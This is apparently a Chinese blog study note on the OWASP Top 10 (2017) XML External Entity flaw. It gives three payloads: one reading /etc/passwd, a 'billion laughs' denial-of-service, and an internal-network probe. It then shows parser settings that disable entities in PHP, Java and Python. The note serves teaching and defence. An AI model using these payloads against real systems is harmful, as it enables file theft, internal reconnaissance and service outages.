zoukankan      html  css  js  c++  java
  • OWASP top 10 (2017) 学习笔记--XML外部实体(XXE)

    A4:2017-XML 外部实体(XXE)

    漏洞描述:

    如果攻击者可以上传XML文档或者在XML文档中添加恶意内容,通过易受攻击的代码、依赖项或集成,他们就能够攻击含有缺陷的XML处理器。

    漏洞影响:

    攻击者可以利用XML外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。

    检测场景:

    以下提供几种简单的Payload模型。

    1、文件读取

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xdsec [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <methodcall>
    <methodname>&xxe;</methodname>
    </methodcall>

      2、拒绝服务

    <?xml version = "1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
    <lolz>&lol9;</lolz>

      3、内网信息

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xdsec [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe SYSTEM "http://192.168.0.1:80" >]>
    <methodcall>
    <methodname>&xxe;</methodname>
    </methodcall>

     预防思路:

    1、过滤用户提交的XML数据

    2、使用开发语言提供的禁用外部实体的方法

    PHP:
    libxml_disable_entity_loader(true);
    
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

     参考链接:

    http://www.91ri.org/9539.html

    https://www.cnblogs.com/r00tuser/p/7255939.html

     

  • 相关阅读:
    在DNN模块开发中使用jQuery
    在MSBuild.exe中使用条件编译(Conditional Compile)
    ASP.NET SQL 注入免费解决方案
    html+css做圆角表格
    [ASP]sitemap地图生成代码
    刺穿MYIE|24小时同一ip弹一次|无须body加载|精简代码
    用ASPJPEG组件制作图片的缩略图和加水印
    16个经典面试问题回答思路[求职者必看]
    一个26岁IT男人写在辞职后
    搜弧IT频道的幻灯片切换的特效源代码
  • 原文地址:https://www.cnblogs.com/ScriptKid-Lu/p/10243030.html
Copyright © 2011-2022 走看看